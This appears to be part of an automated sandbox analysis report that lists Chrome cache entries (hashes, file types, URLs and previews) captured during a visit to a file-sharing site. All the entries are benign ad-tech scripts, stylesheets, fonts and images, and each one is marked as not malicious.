SHA-512:	7F0B4054628004E280912F12C10E336126FE3EB15831356967E93E4C2CEF49E7B5C062428399358FA961230E4B4C66E8E086B4B1C87F836022FFAA395C2AAA76
Malicious:	false
Reputation:	unknown
URL:	https://ced-ns.sascdn.com/diff/js/modules/topicsFrameLogic.js
Preview:	(()=>{"use strict";({744:function(t,n){var o=this&&this.__awaiter\|\|function(t,n,o,e){return new(o\|\|(o=Promise))((function(i,c){function r(t){try{u(e.next(t))}catch(t){c(t)}}function s(t){try{u(e.throw(t))}catch(t){c(t)}}function u(t){var n;t.done?i(t.value):(n=t.value,n instanceof o?n:new o((function(t){t(n)}))).then(r,s)}u((e=e.apply(t,n\|\|[])).next())}))};Object.defineProperty(n,"__esModule",{value:!0}),function(){o(this,void 0,void 0,(function(){const t=yield function(){var t;return o(this,void 0,void 0,(function(){return"function"==typeof document.browsingTopics&&(null===(t=document.featurePolicy)\|\|void 0===t?void 0:t.allowsFeature("browsing-topics"))&&document.featurePolicy.allowsFeature("interest-cohort")?yield document.browsingTopics():[]}))}();if(t.length){const n={segment:{domain:window.location.hostname,topics:t,bidder:"smartadserver"},date:Date.now()};window.parent.postMessage(JSON.stringify(n),"*")}}))}()}})[744](0,{})})();

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	152
Entropy (8bit):	4.548099696386282
Encrypted:	false
SSDEEP:	3:YVXKQJA68+QyVtRzXJwHIH0AHdiZnRULGETRESBVBB1bBu4VOAfZVUQ5:Y9KQOAVtBXJyIH59wnyVRESjN46ZVUQ5
MD5:	F82DA8B78EF6234B65C5FFC56323083A
SHA1:	D813B27569A04FB7F0B33DF4FB4E267E4C103AE6
SHA-256:	45F5A82233690A4FEDC56B969033B23F5D135AA20BCBCE3BBFB86D03C4D46E4D
SHA-512:	201C33EB0722A354461B85D7C3018B20197EC321FE3BA7FDFA7744045E4C50E32529682DADBF6965966FF29115373720F310BF8369D1F3B18FB53DBAABCBC233
Malicious:	false
Reputation:	unknown
URL:	https://id.crwdcntrl.net/id?c=17553
Preview:	{"profile_id":"895074641bda37c72ccfd778425ed87f","core_id":"1c1ed8664079a1e19841a9df9a4c185ca02cd50a547d0dda95db0ede67eb90a2","expiry_ts":1719047715658}

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11286), with no line terminators
Category:	downloaded
Size (bytes):	11286
Entropy (8bit):	5.1761999688602724
Encrypted:	false
SSDEEP:	192:uIl5u+QNcNwUKTEAr9q6/rycQFcDLCYN3rE84v2qcFQ:VsHNcNwCArF/HPLCi3rD4vBx
MD5:	671091E4A094845D0F54990717CA0D98
SHA1:	C863D60D85092E918418B841DD2A93FD1967A7DB
SHA-256:	081A66D558C2D98A3A38DC794648767F07F4E6A6B05EB2FDCAFCBC6F6AF639D0
SHA-512:	E9FE2980A59F9B26B77B50E54A2A44DF0E65AA788F0C9E7BCDA9393E53C6DF176DCF61E343C0E258278F7B6D219F1279517F4C1EAAA7F05756EB85A19C24628C
Malicious:	false
Reputation:	unknown
URL:	https://ced-ns.sascdn.com/diff/js/modules/cmp.js
Preview:	const sas=window.sas\|\|{};sas.utils=sas.utils\|\|{},sas.events=sas.events\|\|{},sas.cmp=sas.cmp\|\|{},sas.consent=sas.consent\|\|{},sas.cmd=sas.cmd\|\|[],sas.debugMode=sas.debugMode\|\|{},sas.debugMode.logsQueue=sas.debugMode.logsQueue\|\|[],sas.debugMode.bannersQueue=sas.debugMode.bannersQueue\|\|[],window.sas=sas,function(){var e=window.sas;Date.now\|\|(Date.now=function(){return(new Date).getTime()}),e.utils.extend=function(t){for(var s=1;s<arguments.length;s++){var n=arguments[s];if(n&&"object"==typeof n)for(var a in n)void 0!==n[a]&&(Array.isArray(n[a])?t[a]=n[a]:"object"==typeof n[a]?t[a]=e.utils.extend({},t[a],n[a]):t[a]=n[a])}return t},e.utils.Latch=function(e){for(var t=[],s={},n=e=e\|\|[],a=!1,i=0;i<n.length;i++)s[e[i]]={};var o=function(){if(!a){for(var e in s)if(!s[e].status)return;a=!0;for(var n=r(),i=0;i<t.length;i++)t[i].apply(this,n)}},r=function(){for(var e=[],t=0;t<n.length;t++)e.push(s[n[t]].result);return e};this.isComplete=function(){return a},this.notify=function(e,t){s[e]&&(s[e].stat

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 45100, version 1.0
Category:	downloaded
Size (bytes):	45100
Entropy (8bit):	7.995292067681757
Encrypted:	true
SSDEEP:	768:0qvhAeqxKX0zaxQgYpnD6eIrJXdEzl3DILPL5gJ4Yd9ey/Kh7N1S66Ire:0A+lxlzaxwpGeiXiJ3DILj04BypIre
MD5:	E783C489351712FA80A7CB4206CFFD02
SHA1:	4D1D924E4CBAE116BAF57958CEA28DEDC9E361F4
SHA-256:	281E998FB084BBC3243914BFD01A00EF5CDBC847179C43106808821A6E0AE1A5
SHA-512:	8871F80311A4E023E761B834640CE92B3719CD0656DF2ABED1F683719C59DD39DA531E46DF2D475A3125FE8DEB62FE0DA559122FA566C4CEB5282FB6C413596A
Malicious:	false
Reputation:	unknown
URL:	https://yastatic.net/islands/_/TR2STky64Ra69XlYzqKN7cnjYfQ.woff2
Preview:	wOF2.......,.......T..................................>.`..x.t..s.....d..&..<..6.$..t. ..w..!...[B....6.....U%{..z.'.q..B.".c....v. .U1.......... ...nCo0@.M...@..TCL..s...H.4.O.<...P..Z.l.$..&sZQ...WI..L.,wv...$...mI...U].T(.CZ+.....O...h..ZE..g...V.o.+..35M.c.W...J...>#..w.,.T.T.A.'.fF.\%{sF1.`0.0S.0r0.f..R<....]..c.....a.F5C....mS.iU~8.....,.. ...0l.H...F...]lJ......f.....>......e.p!...]..! ...c....=,j~5e}j.Y..C.Z.<..qs..1-.E)-...I.y...g.%.I.H..a...1...s.s...K@&Q.0.DJ"...A....fD...Q.A\|@.."Z.(U......~k.?.~.o.}....<C$$........L..".>..o...~n...o..id../....D...9..%..5Y.3..J,YN4.'..mJ..\|....%....B.&.Z'D........s\|.?...Rh....5.\|...T ..T...e.A2.....w7....zB..4{....;@.=...?...}...\|..._...."...v......3..1..}..=$.he.eJ.}#D..ID....t.?....4.>..i.6.}Y.0......S..cicC....m..[......A2.0F..n..s....K..=...../..S...f.......K1..R..2........h.......D.......a..l6..f....B..C..@,n...{....z..............6.....6..x\|.....4R..;f..g.-.J.....n$L@,.Q....cR,.....

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	180
Entropy (8bit):	4.80217191466836
Encrypted:	false
SSDEEP:	3:PouV7uJL/ZSGcvfZVGAmZKDLviBIRaMDDKPBBQUM/ZrP0GXIL/0NAEtv0GL:hxuJL/sGc5VGA1vrJDDKPg8VwNAEd0GL
MD5:	F0D2E72B7A1131E32549D3713C834900
SHA1:	B1A2A842279C9E026AEAF4586D239C3B0667EDF5
SHA-256:	364D0D69EA3F855D1086AD685F5D6D0B4C0B2565CF124915EB027D7FE62A18DD
SHA-512:	D38CBD0141A737C5215EA8F37E863AA881BEB9DFA199164A4CE4ED4BAE493674663537A3F645657C1606371630D7213B154FA4FE7AC023D014350F915357EDED
Malicious:	false
Reputation:	unknown
URL:	https://ced-ns.sascdn.com/diff/js/assets/topics_frame.html
Preview:	<!DOCTYPE html>.<html>. <head>. <title>Equativ Topics frame</title>. <script src="https://ced-ns.sascdn.com/diff/js/modules/topicsFrameLogic.js"></script>. </head>.</html>.

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	548
Entropy (8bit):	4.815749721547494
Encrypted:	false
SSDEEP:	12:wHDoDd39H/vM2SM+8meRHAUeZS6Shs/MeSutdDvZA0TsXGrESudMvSqC:w8DbfvMu/US6SW/lrNzI8gdMvST
MD5:	A53EB58F04DB28B561E3CF6F2327C28D
SHA1:	771A6FA87951B23F05513C5B6C6BC260052E114E
SHA-256:	67DD147575B0963981F0A47878165F9048269FD8C90F632A28EECCE73B5D9AE6
SHA-512:	81A8BE96BBBCB2C728B7A20BC7426F360DB86D129D82F22FD57718C654E61D75D9B466830A3C1DEB5935FFA30B599852720EF10017652C3E99500205E67258C6
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/cookie.css?ver=6
Preview:	.cookies {. width: 100%;. height: 77px;. padding: 0 10px;. display: flex;. justify-content: center;. align-items: center;. background: #31354d;.}..cookies__desc {. font-style: normal;. font-weight: normal;. font-size: 14px;. line-height: 25px;. color: #ffffff;. margin-right: 61px;.}..cookies_nb {width: 185px;border: solid #5ed1f4;font-weight: bold;margin-right: 40px;color: #5ed1f4;text-align: center;}..cookies_white {. width: 185px;. box-shadow: 0px 4px 4px rgba(0, 0, 0, 0.08);. color: white;.}.

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 201 x 45, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6078
Entropy (8bit):	7.930380272941984
Encrypted:	false
SSDEEP:	96:Kqx6fA7qB24Njk9xyPcVtIOLp9+548XfnFRPXdp3vIo4C1Qdnwg0YeTKBvVq8y6u:Kqq64N40eO1TdRPtp3wNdV0hTEtq8y6u
MD5:	946ED1D2BD247854FA58E938DE28EE95
SHA1:	883CDA7EE0087E29A32F07B6C8EAD3E8DF5DB738
SHA-256:	BFE6C8B9CF34578F573091BB118F86A10B918B7D530B25107648F12158759E85
SHA-512:	DB323A854FBBDBC7A3418EAF3A9F8169373753801402C126BA3004F02CCE7C5B9BEF81FBE8856F30BFC738825E47E9D886A84935EDCE8FFEF3E72FB949843785
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......-.......O.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...........~...."IDATx..y.....zz.f.a...dU....q..PL$.1..[Pc.}...%q.{y./...L4&...IT4.<.AE....E.e...fc..........i.'.0..?..{o..T.:.%. 6.........S.....o._..yNH.T.......(...7;.f@NxE......n.z.YA..m..'...2....ir.;. ..2..."8.8.Lb.{.6.../:.(}a.....M... .Rb.OkZF,....U;...Q.q.Q..1..x.......!.`.D:..Q.....s.f...nb...A........u?.....4.. ..F..$..Q...v.. .Z..s..r.B!8.$c..#2.'"..D.A.b.).\|R.z.j...m.........c.(.a...4.G@..<1.V..._.u}2.....A.<$e.....oT?..&.)<I..Y ;..3.0..Q9..}sB.r3B..h."..6-)o.......IC.9-.Z.]NH.O....U.......g..8=..$a...7\|....O!.F.Q.N....Y.......K3.......6.._U.2.....I.I..Q....5#.......A......K.Z..#.Vm..H.!%./_6,.G'.d.....T.z.K..w}..~>V-.Gq..+.....a...H=8...$;k.......m.S.q..9.O..;.`......,..<g..g.....iP....i...P=8\|..$....w..v.S.j..v.o;...Gd.\|...a]...nix..2C.....[.2.M7.........'.`.[.w.E........vh....C. .C.._.aHni....

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	368
Entropy (8bit):	4.991626872434853
Encrypted:	false
SSDEEP:	6:QrQ5sjQiYpFoJiYnFohUW8Av1mAl/IqfkGBEWakvYLoVZ0FCDGg0zPUNPiWae:Qr4iYpMiYnMP8+mU/IqcGBCLoVZ0FABF
MD5:	B68EC87DDEDD2F43C0984762ED021D78
SHA1:	D652634AAAA5CBFDF47F4A1B73CB244BC7ECFD0B
SHA-256:	652933ACC8081F4FC055DCD463BC272ECC4708347D95DB4A62CDB7D58CCA0057
SHA-512:	0066E4ED672258920728B8EC5671300AF874F170E4C5103F3C1AE1124211E900328526402151AE7C633CE2A92BFD81432E9FB3F044CD3B33347018E07CD4C690
Malicious:	false
Reputation:	unknown
URL:	https://contextual.media.net/dmedianet.js?cid=8CU7BC15F
Preview:	var _mN = {. _cid : '8CU7BC15F' \|\| window.medianet_cid \|\| '',. _crid : '' \|\| window.medianet_crid \|\| '',. _flping : 'https://lg3.media.net/flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0'.};.function logFailoverPing() {. var furl = _mN._flping + '&cid=' + _mN._cid + '&crid=' + _mN._crid;. (new Image()).src = furl;.}.logFailoverPing();

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1667
Entropy (8bit):	4.212002864653052
Encrypted:	false
SSDEEP:	24:2dJricIUZOx6G+PHgAK6RZIEfIaYTIIjfP2wRkIEsIavYsuI+stTIt6jKny:+LXsjfQJKk6x
MD5:	06ACF64AF6CD1D69540460DDB018C78C
SHA1:	9DB22D7B6B6A223ABCA82E69FC4FBA0C987587C2
SHA-256:	259CE4DEE332F67CC9D86367330EFA87617F8C78428774D26DD0528F4942F39C
SHA-512:	7F1F22B3D3B06D435D440A31FAAC79D86669EE4DBED9449A3FA631BE95D95F3D75B8C9E900F18A044390A5C75F45E0E5EB0C01B6756421103D41D8F71B4C1416
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/js/ajax-mail.js
Preview:	(function($) {.. 'use strict';.... // Get the form... var form = $('#digita-contact-form');.... // Get the messages div... var formMessages = $('.contact-send-message');.... // Set up an event listener for the contact form... $(form).submit(function(e) {.. // Stop the browser from submitting the form... e.preventDefault();.... // Serialize the form data... var formData = $(form).serialize();.... // Submit the form using AJAX... $.ajax({.. type: 'POST',.. url: $(form).attr('action'),.. data: formData.. }).. .done(function(response) {.. // Make sure that the formMessages div has the 'success' class... $(formMessages).removeClass('error');.. $(formMessages).addClass('success');.... // Set the message text... $(formMessages).text(response);.... // Clear the form...

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
Preview:	{}

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	8217
Entropy (8bit):	4.3736511627397565
Encrypted:	false
SSDEEP:	192:S9LBKa7a17t7hzIeA4Wl5Cn9JBtnReFTTYUEwI+aqN:El7GR9seOl5AREbINS
MD5:	CC54F0829767B49845F9EFE8EC4C7347
SHA1:	82A844CF7B6D217983AAD02E036F4E983020E1E6
SHA-256:	6A62E58DD62C1F48F9E28869A685DAD62E2FAC04B750FFE8C38B870AA2BCC4B6
SHA-512:	3B85E6BD4A46ACF9884CD83E89151CB3F0B043067BAE0FD80C6DE2AD0747363DC8676A46391352FBA4D83FDED4960A267DEE6141FCDD773D78AA8699BE82E5B0
Malicious:	false
Reputation:	unknown
Preview:	<svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428C249.422 187.744 256.94 161.059 254.719 134.276C252.498 107.493 240.686 82.4112 221.455 63.6388C202.223 44.8663 176.863 33.6643 150.034 32.0908C123.205 30.5174 96.7099 38.6782 75.4157 55.0739C54.1215 71.4695 39.459 94.9987 34.1221 121.338C28.7867 147.671 33.1303 175.044 46.3547 198.432C46.3583 198.438 43.9755 193.994 43.979 194L34.9548 202.007C28.2874 207.922 17.4068 206.463 12.6867 198.902C10.1754 194.88 7.93551 190.773 6.5891 186.484C-0.623894 163.509 -1.98813 138.922 2.85815 115.004C9.72043 81.1354 28.574 50.8807 55.9548 29.7986C83.3356 8.71653 117.404 -1.77691 151.902 0.246304C186.399 2.26952 219.008 16.6735 243.737 40.8117C268.465 64.9499 283.653 97.2011 286.509 131.64C289.366 166.078 279.698 200.39 259.284 228.273C238.87 256.155

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (63514)
Category:	downloaded
Size (bytes):	395077
Entropy (8bit):	5.365310216358147
Encrypted:	false
SSDEEP:	3072:cvLKX8yBPs4H+9dumnlf3e3z7M52ke2xzhg6C734JeOMAbzLEEbZuSDaXQGvVhyw:cv+skPs4HGlf3rUkeeh8zzoznVnh41x
MD5:	E8725C6F776C02360FB82D117A41BA83
SHA1:	E30E5656BA5D48C7A3107B9D9AAC987EFA6D950B
SHA-256:	DBDC41B5980F209990D3AD7126F83C81F935C7BC0D70663136BCB0BB06F6A431
SHA-512:	8F70126114538C5FCDEF972C1AD1E99C171EBC5196BCB31C0493F85F68F75C8D5D74DEF09A1BCB27C2E436C701E28C8D1B412709AD1E57785204742F61362A50
Malicious:	false
Reputation:	unknown
URL:	https://tmzr.themoneytizer.fr/v8.46.0u2.0.12/2f3bf019474041cbedca486d3eef3035/prebid.js
Preview:	/* prebid.js v8.46.0.Updated: 2024-06-13.Modules: fpdModule, themoneytizerBidAdapter, 33acrossIdSystem, topicsFpdModule, lotamePanoramaIdSystem, prebidServerBidAdapter, rtdModule, sirdataRtdProvider, quantcastIdSystem, priceFloors, moneytizerBidAdapter, justpremiumBidAdapter, userId, id5IdSystem, currency, sharedIdSystem, criteoIdSystem, adagioAnalyticsAdapter, schain, adagioBidAdapter, appnexusBidAdapter, betweenBidAdapter, consentManagement, onetagBidAdapter, otmBidAdapter, outbrainBidAdapter, smilewantedBidAdapter */.if(window.tmzr&&window.tmzr.libLoaded)try{window.tmzr.getConfig("debug")&&console.warn("Attempted to load a copy of Prebid.js that clashes with the existing 'tmzr' instance. Load aborted.")}catch(t){}else (function(){.!function(){var r,n={},t={};function e(r){var o=t[r];if(void 0!==o)return o.exports;var u=t[r]={exports:{}};return n[r](u,u.exports,e),u.exports}e.m=n,r=[],e.O=function(n,t,o,u){if(!t){var f=1/0;for(v=0;v<r.length;v++){t=r[v][0],o=r[v][1],u=r[v][2];for(var

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1667
Entropy (8bit):	4.212002864653052
Encrypted:	false
SSDEEP:	24:2dJricIUZOx6G+PHgAK6RZIEfIaYTIIjfP2wRkIEsIavYsuI+stTIt6jKny:+LXsjfQJKk6x
MD5:	06ACF64AF6CD1D69540460DDB018C78C
SHA1:	9DB22D7B6B6A223ABCA82E69FC4FBA0C987587C2
SHA-256:	259CE4DEE332F67CC9D86367330EFA87617F8C78428774D26DD0528F4942F39C
SHA-512:	7F1F22B3D3B06D435D440A31FAAC79D86669EE4DBED9449A3FA631BE95D95F3D75B8C9E900F18A044390A5C75F45E0E5EB0C01B6756421103D41D8F71B4C1416
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/js/ajax-mail.js
Preview:	(function($) {.. 'use strict';.... // Get the form... var form = $('#digita-contact-form');.... // Get the messages div... var formMessages = $('.contact-send-message');.... // Set up an event listener for the contact form... $(form).submit(function(e) {.. // Stop the browser from submitting the form... e.preventDefault();.... // Serialize the form data... var formData = $(form).serialize();.... // Submit the form using AJAX... $.ajax({.. type: 'POST',.. url: $(form).attr('action'),.. data: formData.. }).. .done(function(response) {.. // Make sure that the formMessages div has the 'success' class... $(formMessages).removeClass('error');.. $(formMessages).addClass('success');.... // Set the message text... $(formMessages).text(response);.... // Clear the form...

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 201 x 45, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6078
Entropy (8bit):	7.930380272941984
Encrypted:	false
SSDEEP:	96:Kqx6fA7qB24Njk9xyPcVtIOLp9+548XfnFRPXdp3vIo4C1Qdnwg0YeTKBvVq8y6u:Kqq64N40eO1TdRPtp3wNdV0hTEtq8y6u
MD5:	946ED1D2BD247854FA58E938DE28EE95
SHA1:	883CDA7EE0087E29A32F07B6C8EAD3E8DF5DB738
SHA-256:	BFE6C8B9CF34578F573091BB118F86A10B918B7D530B25107648F12158759E85
SHA-512:	DB323A854FBBDBC7A3418EAF3A9F8169373753801402C126BA3004F02CCE7C5B9BEF81FBE8856F30BFC738825E47E9D886A84935EDCE8FFEF3E72FB949843785
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/slice_white.png
Preview:	.PNG........IHDR.......-.......O.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs...........~...."IDATx..y.....zz.f.a...dU....q..PL$.1..[Pc.}...%q.{y./...L4&...IT4.<.AE....E.e...fc..........i.'.0..?..{o..T.:.%. 6.........S.....o._..yNH.T.......(...7;.f@NxE......n.z.YA..m..'...2....ir.;. ..2..."8.8.Lb.{.6.../:.(}a.....M... .Rb.OkZF,....U;...Q.q.Q..1..x.......!.`.D:..Q.....s.f...nb...A........u?.....4.. ..F..$..Q...v.. .Z..s..r.B!8.$c..#2.'"..D.A.b.).\|R.z.j...m.........c.(.a...4.G@..<1.V..._.u}2.....A.<$e.....oT?..&.)<I..Y ;..3.0..Q9..}sB.r3B..h."..6-)o.......IC.9-.Z.]NH.O....U.......g..8=..$a...7\|....O!.F.Q.N....Y.......K3.......6.._U.2.....I.I..Q....5#.......A......K.Z..#.Vm..H.!%./_6,.G'.d.....T.z.K..w}..~>V-.Gq..+.....a...H=8...$;k.......m.S.q..9.O..;.`......,..<g..g.....iP....i...P=8\|..$....w..v.S.j..v.o;...Gd.\|...a]...nix..2C.....[.2.M7.........'.`.[.w.E........vh....C. .C.._.aHni....

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (368)
Category:	downloaded
Size (bytes):	8720
Entropy (8bit):	4.06353834740537
Encrypted:	false
SSDEEP:	192:l0c+9gPltgX4UpfVSIWuVSN2CmU65U6noXeRht:l0c+KPltgREWTgeRht
MD5:	86FE5C70D7107CC8AB30E192072AC15D
SHA1:	15CD81D73DDEC861349D2F1B2D4CF10EAEFA9373
SHA-256:	B1DE65CB0D3A28AEED81012371764B92D0AC30077EDB2D768DFDFD8640CFC7C1
SHA-512:	CDE0CB8C8F2CEC2D40EEE1BB0B2B1BE68218DF4363048969B23E578E57EB3656594B62EE1EF7820D9DE370FB3C0382934A306EB6FB2B95355B1D3E1C43C2A5B9
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/js/main.js
Preview:	(function ($) {. "use strict";.. jQuery(document).ready(function ($) {... $('.slider-wrapper').on('init', function (e, slick) {. var $firstAnimatingElements = $('div.slider-single-item:first-child').find('[data-animation]');. doAnimations($firstAnimatingElements);. });. $('.slider-wrapper').on('beforeChange', function (e, slick, currentSlide, nextSlide) {. var $animatingElements = $('div.slider-single-item[data-slick-index="' + nextSlide + '"]').find('[data-animation]');. doAnimations($animatingElements);. });. $('.slider-wrapper').slick({. autoplay: true,. autoplaySpeed: 7000,. dots: false,. fade: true,. cssEase: 'cubic-bezier(0.7, 0, 0.3, .1)',. });.. function doAnimations(elements) {. var animationEndEvents = 'webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend';. elements.each(functio

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	4.369412905163088
Encrypted:	false
SSDEEP:	3:IKmTzejBWk9JyiA:IwB7A
MD5:	3482B6BE1F5D625A27304999820FB31D
SHA1:	572C98E28C0603E3BC87E6953BB17D4AE8B00DD3
SHA-256:	005C3133BF387E1B00A5EC25EFFC468F7752591ADAC19A3782D200BF68A970F0
SHA-512:	3A4495A110DEB65A9394D077E31D2E43C2D1ADDA7BDC893C277D1798E4674355C4C55214AE363233E8975D289FACF5DA7DF7100D7057C7CBE192DE7B47024950
Malicious:	false
Reputation:	unknown
URL:	https://gum.criteo.com/sync?c=147&r=2&j=criteoCallback
Preview:	criteoCallback({"status":"Unknown","userid":""});

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 124 x 49, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.823522728741164
Encrypted:	false
SSDEEP:	48:W/6vktgFDyNqBERLBgY/Zu67F3n+Wy7J5tlLoOsDFJNd5PEYFbqwgI8c:WSvktgFDIqOJBPJIJ5nLoDD3NddEYIK9
MD5:	B08166A270B58C28D429BF2F9FFECE6C
SHA1:	91DAB55CBE8C802A7C56CD9D2FFAEE9CCEA4A49F
SHA-256:	A21A9FA89FB6DD8C8E84907A99B0374ABDF641C71C55E0283B7758E8F2A12507
SHA-512:	A2D7888492DD0F476A33AAB86B1D372AA9BFD204567B1AF124A1C086C8911F711E1DED079A9B7041CA02FA5622AFC2A31CD75F83F6DD2684F95A90381B868F58
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...\|...1.............sRGB...,.....pHYs.................IDATx...lOW..Q.3...c.y[....m1a6.=4..f..R....6l...5o..t.R.....-...o.R........9=......?..M>9.........m.H..x....M..w..$..3...7.c$l........B7o.A..af..an)...MNN^..... .n..e3.o...iIJMM....0.....Fqqqv=F...^.......b.V.kvAA.c.\G.....}.........cvRR.q.......I.....z..O....\|X.w.c....}.vC.v(..}..=.#...L..0[(..}...^........y..2.:..7.^...`..ZX........c+a.......]I...X....>\gM..3.?.......K.A.I.h.C...g..q..../L.BUV.I......p.I.a.PP..J0...h..4.....y...'8.R.q..G..S...#)..gR.....U.q.l..7..S....N....n.).].....z{../..!..2.Z"....y....-.\...C.......E..V..#k.....>'O...l6G.0@.C.....`..y....+3.-...<...]....g......X....{.5\.(..=.......'N.H`.}.45^.C..)..."..G....Y6^./...u......%.1#.*........O..oU... n`...Z....e<.=.i.....2....kr...e3..n......_.^.t^,.H..h..8\.t...6.........?.E......WTT.5.../...\|..#G..UL.....;.....i..W.B.w...Q.=..Ezz.ba...U....jv5...?N.....).........w...:u.<y..w.

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14454)
Category:	downloaded
Size (bytes):	53284
Entropy (8bit):	5.224394758317551
Encrypted:	false
SSDEEP:	768:hRH8f65WpmXjIShItCNp8Orib8JlxPw1FLe7N6RC9l1K1RJC18fWw2D:hh8f65WMXjNNiIJlxPw1FS75l1uJC18W
MD5:	526B65035FF31BD7147BE9E785A768AC
SHA1:	2FC6A091DA52A528EB67D73C77F3FD4EE6351CB7
SHA-256:	8996A1606A4793B1A05580FF47567F4467C2D16BBE7CBCB049DC849E0105DA86
SHA-512:	EF634C822D276411E7C85A394A2FDE9798CC0EC62C02DB364889A60DAFA5CCB2CB3F2BF70CB513EED9AA07FE36B82B3C0BCF29D630107720F5266A1E0EC6BB2D
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/css/cloud.css
Preview:	.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-ms-flexbox;display:flex;transition-property:transform;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{transform:translateZ(0)}.swiper-container-multirow>.swiper-wrapper{-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;transition-property:transform}.swiper-slide-invisible-blank{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-ms-flex-align:start;align-items:flex-start;transitio

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1439
Entropy (8bit):	4.170062131792625
Encrypted:	false
SSDEEP:	24:hP4OtD5wcOK4KAfiodA+y8cex/rA17Mkxf4d00MzM:tz95V6KUdHgC05pLI
MD5:	092B935EEC2BA1199C03C1C856472E77
SHA1:	90D533FB895DDA57FD0645CF484A4ECB7A64C344
SHA-256:	8719A7A7E474F30D7A1D5DBF2AB97BBD73437C28EF567B410361540AD38C985E
SHA-512:	17DCD16268744507D82EB1CA39F46B28120D4A231238D2879D604D8A639D6E93FD73A0B1E77BF3BFFBEBD57E04FE84705B0A5FAB6C202AE814C754A0B8B387BB
Malicious:	false
Reputation:	unknown
URL:	https://cdn.adlook.me/u/cds.html
